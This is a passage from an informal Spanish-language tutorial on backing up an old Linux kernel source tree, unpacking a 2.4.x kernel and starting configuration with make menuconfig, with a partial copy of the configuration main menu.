y que lo podeis saber tecleando uname -r, bien,metemos el linux-2.4.x.tar.gz
que nos hallamos bajado en el directorio en el que estamos (/usr/src).
Ahora haremos backup del kernel anterior moviendo el directorio linux a li-
nux_old,o linux-2.x.x,el que usemos, tecleando mv linux linux-2.x.x, es im-
prescindible que antes de descomprimir el nuevo kernel, no exista ningun di-
rectorio linux.
Una vez echo esto, ya podemos descomprimir, "gunzip linux-2.x.x && tar xvf"
linux-2.x.x.tar,ahora nos vamos al directorio linux que se acaba de crear,y
hacemos un ls para ver lo que contiene.
Existen tres formas de compilar, una en modo texto puro y duro que es make
config, otra mejor y mas "easy" xD, que es make menuconfig, y otra para las
XWindows como es make xconfig,yo prefiero make menuconfig,asi que usare esa
;).
Tecleamos make menuconfig y nos aparecera lo siguiente:
Linux Kernel v2.4.14 Configuration
Main Menu
Arrow keys navigate the menu. selects submenus --->.
Highlighted letters are hotkeys. Pressing includes, excludes, modularizes
features. Press to exit, > for Help. Legend: [*] built-in [ ] excluded
module < > module capable.
Code maturity level options --->
Loadable module support --->
Processor type and features --->
General setup --->
Memory Technology Devices (MTD) --->
Parallel port support --->
Plug and Play configuration --->
Block devices --->
Multi-device support (RAID and LVM) --->
Networking options --->
Telephony Support --->
ATA/IDE/MFM/RLL support --->
SCSI support --->
Fusion MPT device support --->
IEEE 1394 (FireWire) support (EXPERIMENTAL) --->
I2O device support --->
v(+)